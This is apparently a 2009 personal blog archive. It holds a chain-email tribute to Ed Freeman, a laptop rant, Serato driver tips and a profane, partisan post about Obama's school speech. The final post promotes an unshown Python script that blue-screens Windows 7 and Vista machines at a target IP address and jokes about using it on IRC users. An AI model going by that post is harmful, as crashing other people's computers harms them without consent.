Do you know what these two men have in common

They both died June 25th, 2009.
One has been covered 24/7 by the media the other has been forgotten.
Travel back with me 44 years.....
You're a 19-year-old kid. You're critically wounded and dying in the jungle in the Ia Drang Valley , 11-14-1965, LZ X-ray, Vietnam . Your infantry unit is outnumbered 8-1 and the enemy fire is so intense, from 100 or 200 yards away, that your own Infantry Commander has ordered the MediVac helicopters to stop coming in.
You're lying there, listening to the enemy machine guns, and you know you're not getting out. Your family is half way around the world, 12,000 miles away and you'll never see them again. As the world starts to fade in and out, you know this is the day.
Then, over the machine gun noise, you faintly hear that sound of a helicopter and you look up to see an unarmed Huey, but it doesn't seem real because no Medi-Vac markings are on it.
Ed Freeman is coming for you. He's not Medi-Vac, so it's not his job, but he's flying his Huey down into the machine gun fire, after the Medi-Vacs were ordered not to come.
He's coming anyway.
And he drops it in and sits there in the machine gun fire as they load 2 or 3 of you on board.
Then he flies you up and out, through the gunfire to the doctors and nurses.
And he kept coming back, 13 more times, and took about 30 of you and your buddies out, who would never have gotten out.
Medal of Honor Recipient Ed Freeman died on Wednesday, June 25th, 2009, at the age of 80, in Boise , ID.. May God rest his soul.
Since the media didn't give him the coverage he deserves, send this to every red-blooded American you know.
THANKS AGAIN, ED, FOR WHAT YOU DID FOR OUR COUNTRY.
R.I.P.

Just another reason not to buy a Mac

I bought a Toshiba Satellite, cheap one, and the screen went out. Toshiba next day aired a box with return shipping, put the laptop in the box and sent it back. I had a new screen put in and back in my hands in 2 days.
5-7 day wait is unacceptible period. Especially when you take it in the shop down the street. When Macs go, they really go. Another of my reason not to buy an expensive door stop...

Serato Scratch Live 3 and Windows 7 driver install

It's real easy to install Scratch Live 3 on Windows 7 64 bit or 32-bit. Just use the Vista Drivers. Here's how. Go into Device Manager, plug in your SL3 and you'll see it with an exclamation mark. Right click on it and click Properties, then click on Driver tab and then click Update Driver. Browse for the driver and select the right one Vista (32-bit) or Vista64 (64-Bit) then the SL3 directory and click OK...
Then you are ready to go. I've been messing with it so far and the performance is on par with XP or even better. I hope this helps!

Obama's School Speech
Published on September 8th, 2009 @ 03:52:52 pm , using 644 words, 289 views
My kids go to the Metro Nashville Public School System, www.mnps.org. I asked each one of my kids, "Did you see Obama speak today?". They said no. This outrages me. Here's why. Nashville is mostly Democrat, but there is a lot of Republicans living in and around. I don't like how the school district just drops the ball on this, especially when our schools are Federally funded. A lot of the Obama haters out there don't want "a black man to tell their kids nothing". You can sugar coat this all you want, but what I hear around mostly whites that I hang around with is this. They will speak of Obama as if he was a black slave in hushed tones. The reason why they say it in hush tones is because they know if anyone else hears this, they will get slammed hard. Sure, I could stand up and say something, but I'm not in a position to say anything so I usually have to bite my tongue. I hate doing that, but this is why I have a blog. Anyways, I watched the speech today and I was inspired. I hope that everyone out there that was keeping their kids from seeing that 15 minute speech will understand that there was not ONE THING wrong with his speech. As a parent of 4 kids, what I tell my kids means something to me and I hope that they get it but take some time out and go back to when you were 11 or whatever age and think. When your parents told you to do something, sometimes it went in one ear and out the other. You didn't do everything they told you to do did you. Now, when someone out of the blue came up to you and told you not to do something...it sorta stuck with you cause here you have someone you never met before telling you not to throw rocks, or stop taunting my dogs...etc. Same holds true here. Everything that Obama said was true and good, and now all you conservatives are now thinking back on your idiotic responses you made before the speech was made. You were afraid that Obama was going to push some sort of Democratic propaganda on your children and that this speech was going to undermine your next Republican for presidency.
Well, let me tell you one thing. There is nothing you can do or say that will make me or a few people that's with me on this think that this speech was a propaganda machine aimed at destroying our youth. Making public outrages about a "Black man" telling your kids to stay in school is down right crazy. Obama is the President of the United States of America. There is no socialist regime in place, no communism...etc The President of the United States of America has but one job and that is to uphold the Constitution of the United States of America. You, conservatives, are making his job harder by trying to exploit every single move Obama makes. I'm not telling you to lower your guard, I'm not saying that you should do everything he says and I damn sure am not saying to do what he tells you to do. That's the beauty of the U.S. of A., Freedom.
So you conservatives out there, stop being a god damn pussy... you voted in a malicious cocksucker that is profitting off of his 8 years that you gave him...Now Obama is in to clean up the mess and you are giving Obama static because he is trying to reform the nation into a Greater country. If you don't agree with this statement, that's fine... you can hole up in your bomb shelter and wait there until the next election because we damn sure don't want you coming above ground to infect the masses.

Remember the Windows 95/98 Days of bluescreeing people that was bugging you on IRC, now Microsoft has brought back the popular feature with Windows 7 and Vista (SP1/SP2) and possibly Windows Server 2008.
This simple Python code will BSOD them back to 1995 with the whimsical laughter of IT Admins everywhere.

Run this is Python, change the IP Address to your target and waa laa... Instant BSOD. Should be patched soon.
